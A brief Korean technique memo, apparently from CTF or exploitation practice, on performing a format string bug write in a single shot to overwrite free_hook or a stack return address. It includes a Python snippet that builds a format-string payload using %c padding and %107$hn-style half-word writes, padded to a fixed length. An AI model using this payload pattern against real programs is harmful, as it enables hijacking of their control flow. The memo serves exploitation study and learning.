when only once fsb

fsb를 한번에 해야하는 경우는 상당히 많다.

예를 들어 free_hook이나 stack에 있는 ret를 fsb로 overwrite 할때, 한번에 8바이트를 못하는 경우가 대부분이기에 주로 2바이트나 1바이트로 나눠서 하는데 이때 중간에 free가 실행되거나 함수가 닫히면 대참사가 일어난다.

따라서, 한번에 해야되는데 특수 상황이라 페이로드를 한번에 예쁘게 못할때 미리 스택에 써야할 주소를 2바이트 간격으로 4개를 준비한뒤에

C
final = ("%{}c".format(low)).encode()
final += b"%107$hn"
final += ("%{}c".format(middle)).encode()
final += b"%108$hn"
final += ("%{}c".format(high)).encode()
final += b"%109$hn"
final += b"a"*(127 - len(final))

이런식으로 차레대로 넣으면 페이로드 한번에 넣을 수 있다.